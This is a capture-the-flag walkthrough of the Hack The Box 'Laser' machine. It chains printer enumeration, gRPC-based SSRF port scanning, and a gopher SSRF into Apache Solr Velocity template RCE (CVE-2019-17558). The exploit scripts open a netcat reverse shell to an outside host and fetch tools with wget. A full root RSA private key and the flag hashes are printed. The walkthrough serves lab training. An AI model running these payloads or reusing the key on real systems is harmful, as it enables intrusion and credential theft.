Hack-The-Box-walkthrough[laser]

introduce

OS: Linux
Difficulty: Insane
Points: 50
Release: 08 Aug 2020
IP: 10.10.10.201

User Blood InfoSecJack 00 days, 00 hours, 04 mins, 04 seconds.
Root Blood bjornmorten 00 days, 23 hours, 18 mins, 35 seconds.

  • my htb rank

information gathering

first use nmap as usaul

1
2
3
4
PORT     STATE SERVICE     VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
9000/tcp open cslistener?
9100/tcp open jetdirect?

port 9100

After some searching we can see that HP jetdirect is a tcp/ip printer server. i found the following exploit/enumeration tool:

  • PRET

first download it

1
git clone https://github.com/RUB-NDS/PRET.git

then

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~/PRET# python pret.py 10.10.10.201 pjl
________________
_/_______________/|
/___________/___//|| PRET | Printer Exploitation Toolkit v0.40
|=== |----| || by Jens Mueller <jens.a.mueller@rub.de>
| | ô| ||
|___________| ô| ||
| ||/.---.|| | || 「 pentesting tool that made
|-||/_____\||-. | | dumpster diving obsolete‥ 」
|_||=L==H==||_|__|/

(ASCII art by
Jan Foerster)

Connection to 10.10.10.201 established
Device: LaserCorp LaserJet 4ML

Welcome to the pret shell. Type help or ? to list commands.
10.10.10.201:/>

now we have a connection, start some enumeration
with just a few linux commands we found a file named queued:

1
2
3
4
5
6
7
8
10.10.10.201:/> ls
d - pjl
10.10.10.201:/> cd pjl
10.10.10.201:/pjl> ls
d - jobs
10.10.10.201:/pjl> cd jobs
10.10.10.201:/pjl/jobs> ls
- 172199 queued

get queued

and we downloaded the file to our machine, since this file is encrypted we still need a decryption key.

nvram dump

1
2
3
10.10.10.201:/pjl/jobs> nvram dump
Writing copy to nvram/10.10.10.201
..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................k...e....y.....13u94r6..643rv19u

and we found our decryption key. lets try to decrypt this file:
convert file to base64.raw file:

1
2
3
4
5
6
7
8
root@kali:~/PRET# sed -e "s#'##g" queued | cut -c2- > queued.b64
root@kali:~/PRET# ls
capabilities.py DISCLAIMER.md helper.py nvram pjl.py printer.pyc
capabilities.pyc discovery.py helper.pyc operators.py pjl.pyc queued
codebook.py discovery.pyc img operators.pyc postscript.py queued.b64
codebook.pyc fonts LICENSE.md overlays postscript.pyc README.md
console.py fuzzer.py lpd pcl.py pret.py testpages
db fuzzer.pyc mibs pcl.pyc printer.py

decode file:

1
2
3
4
5
6
7
import base64

with open("queued.b64","r") as mmm:
mmm_content = mmm.read()
b85dec_content = base64.b85decode(mmm_content)
with open("secwalk.raw","wb") as mmm_jpg:
mmm_jpg.write(b85dec_content)

aes decrypt python script:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3
import io, sys, base64
from Crypto.Cipher import AES

with io.open('secwalk.raw', 'rb') as fp:
c = fp.read()[8:]
iv, ct = c[:16], c[16:]
cipher = AES.new('13vu94r6643rv19u', AES.MODE_CBC, iv)
z = cipher.decrypt(ct)
sys.stdout.buffer.write(z)

then run it

1
root@kali:~/PRET# python3 aesde.py > secwalk.pdf

and we get a pdf file:
the important contents are following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...
return service_pb2.Data(feed='Pushing feeds')
...

Here is how a sample feed information looks like.

{
"version": "v1.0",
"title": "Printer Feed",
"home_page_url": "http://printer.laserinternal.htb/",
"feed_url": "http://printer.laserinternal.htb/feeds.json",
"items": [
{
"id": "2",
"content_text": "Queue jobs"
},
{
"id": "1",
"content_text": "Failed items"
}
]
}

now we know where port 9000 is used for.

Port 9000

Now we know this port communication with GRPC we should create our gRPC client to communicate with it. the following post can help us with that:

  • A simplified guide to gRPC in Python

First we should create a proto file, when we look at the PDF file we can see which content it needs:

1
2
3
4
5
6
Usage 
To streamline the process we are utilising the Protocol Buffers and gRPC framework.
The engine runs on 9000 port by default. All devices should submit the feeds in serialized format such that data transmission is fast and accurate across network.
We defined a Print service which has a RPC method called Feed . This method takes Content as input parameter and returns Data from the server.
The Content message definition specifies a field data and Data message definition specifies a field feed .
On successful data transmission you should see a message.

It needs content, Data and Service print:

luci11.proto

1
2
3
4
5
6
7
8
9
10
11
12
13
syntax = "proto3";

message Content {
string data = 1;
}

message Data {
float feed = 1;
}

service Print {
rpc Feed(Content) returns (Data) {}
}

now we need to run the following command as mentioned in the post,you need to install the dependencies first

1
2
3
4
pip3 install grpcio
pip3 install grpcio-tools

root@kali:~/hackthebox/machine/laser# python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. luci11.proto

Now we have a few file and can start create our client:

1
2
root@kali:~/hackthebox/machine/laser# ls
luci11_pb2_grpc.py luci11_pb2.py luci11.proto

client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys, pickle, base64
import grpc, luci11_pb2, luci11_pb2_grpc

payload = '{"feed_url":"http://10.10.14.6:81"}'
payload = base64.b64encode(pickle.dumps(payload))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = luci11_pb2_grpc.PrintStub(channel)
content = luci11_pb2.Content(data=payload)
try:
response = stub.Feed(content, timeout=10)
print(response)
except Exception as ex:
print(ex)

now test if we can get a connection back from it:

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/hackthebox/machine/laser# python3 client.py
......
root@kali:~# nc -lvp 81
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::81
Ncat: Listening on 0.0.0.0:81
Ncat: Connection from 10.10.10.201.
Ncat: Connection from 10.10.10.201:58680.
GET / HTTP/1.1
Host: 10.10.14.6:81
User-Agent: FeedBot v1.0
Accept: */*

looks like we have a connection.

After some more enumeration, there was a little stuck here, but it turns out we can create an port scanner to see which service ports are open behind the firewall and since grpc can communicate with these ports we could try to exploit these by using the following python script:

scanner.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys, pickle, base64
import grpc, luci11_pb2, luci11_pb2_grpc

for port in range(1, 65536):
payload = '{"feed_url":"http://localhost:' + str(port) + '"}'
payload = base64.b64encode(pickle.dumps(payload))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = luci11_pb2_grpc.PrintStub(channel)
content = luci11_pb2.Content(data=payload)
try:
response = stub.Feed(content, timeout=10)
print(port, response)
except Exception as ex:
if 'Connection refused' in ex.details():
continue
print(port)

now run it:

1
2
3
4
5
6
root@kali:~/hackthebox/machine/laser# python3 scanner.py
22
7983
8983 feed: "Pushing feeds"
9000
9100

found two new ports 7983 and 8983
Pushing feeds was also mentioned in the pdf file:

1
2
3
4
5
On successful data transmission you should see a message.

...
return service_pb2.Data(feed='Pushing feeds')
...

try to get a successful data transmission:

client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys, pickle, base64
import grpc, luci11_pb2, luci11_pb2_grpc

payload = '{"feed_url":"http://localhost:8983"}'
payload = base64.b64encode(pickle.dumps(payload))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = luci11_pb2_grpc.PrintStub(channel)
content = luci11_pb2.Content(data=payload)
try:
response = stub.Feed(content, timeout=10)
print(response)
except Exception as ex:
print(ex)
1
2
root@kali:~/hackthebox/machine/laser# python3 client.py
feed: "Pushing feeds"

have a successful data transmission we can try to lookup which service is running on port 8983

port 8983 details

looks like Apache solr 1.4 is running on this port
After some searching I found the following:

  • Apache Solr Injection Research

  • CVE-2019-17558 RCE via Velocity template:

1
https://github.com/veracode-research/solr-injection#7-cve-2019-17558-rce-via-velocity-template-by-_s00py

write a python script to exploit it:

first download grpcurl

  • grpcurl binary file from github

then use the following two python scripts to get a shell

exp.py

1
2
3
4
5
6
7
8
import base64
import pickle
import os

data0 = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'

data = base64.b64encode(pickle.dumps(data0))
os.system("/root/hackthebox/machine/laser/grpcurl -plaintext -d '{\"data\":\"%s\"}' -proto luci11.proto 10.10.10.201:9000 Print.Feed" % data.decode())

exp2.py

1
2
3
4
5
6
7
8
9
import base64
import pickle
import os
import sys

data1 = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27nc%2010.10.10.6%204444%20-e%20%2Fbin%2Fbash%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'

data = base64.b64encode(pickle.dumps(data1))
os.system("/root/hackthebox/machine/laser/grpcurl -plaintext -d '{\"data\":\"%s\"}' -proto luci11.proto 10.10.10.201:9000 Print.Feed" % data.decode())

running the exploit script one by one we get our shell:

copy our rsa key to solr so we have a solid shell:

1
cp /var/solr/.ssh/id_rsa.pub /home/solr/.ssh/authorized_keys

run Pspy to see if there are any processes:

  • download pspy from github
1
2
3
4
5
python -m SimpleHTTPServer 80

wget http://10.10.14.16/pspy64

chmod +x pspy64

after running a while we get a password for a docker to login to:

1
c413d115b3d87664499624e7826d8c5a

logged in to the docker:

can see it tries to run clear.sh on the docker and removes it then again, we could try to exploit this in the docker:

1
wget http://10.10.14.16/socat

disable ssh

1
2
3
4
5
service ssh stop

chmod +x socat

./socat TCP-LISTEN:22,fork,reuseaddr TCP:172.18.0.1:22

in our solr shell we create a bash file:

1
2
3
echo '#!/bin/sh\nmkdir -p /tmp/secwalk;cp -R /root/.ssh /tmp/secwalk; chown -R solr:solr /tmp/secwalk' > /tmp/clear.sh

chmod a+x /tmp/clear.sh

now wait until the process gets triggered:

now the id_rsa key from root and can login as root now use following root id_rsa key to connect:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

use the key file to get root and read the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
root@kali:~/hackthebox/machine/laser# chmod 600 key
root@kali:~/hackthebox/machine/laser# ssh -i key root@10.10.10.201
load pubkey "key": invalid format
The authenticity of host '10.10.10.201 (10.10.10.201)' can't be established.
ECDSA key fingerprint is SHA256:7+5qUqmyILv7QKrQXPArj5uYqJwwe7mpUbzD/7cl44E.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.201' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Sat 22 Aug 2020 01:12:04 PM UTC

System load: 0.14
Usage of /: 42.6% of 19.56GB
Memory usage: 68%
Swap usage: 1%
Processes: 235
Users logged in: 0
IPv4 address for br-3ae8661b394c: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.10.10.201
IPv6 address for ens160: dead:beef::250:56ff:feb9:f15b


73 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable


Last login: Wed Aug 5 09:48:17 2020
root@laser:~# id
uid=0(root) gid=0(root) groups=0(root)
root@laser:~# ls /home
solr
root@laser:~# ls /home/solr
feed_engine user.txt
root@laser:~# cat /home/solr/user.txt
a9c8ee0fa19c9a150aaad90bbf1cbb12
root@laser:~# cat root.txt
79b9b88630c2c60bdbd0e168fcfb0a07

Summary of knowledge

  • HP jetdirect printer server exploit
  • aes python decrypt script
  • exploit GRPC service
  • port scan behind the firewall
  • Apache solr 1.4 exploit using gopher protocal
  • Pspy to see processes
  • socat port forwarding

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…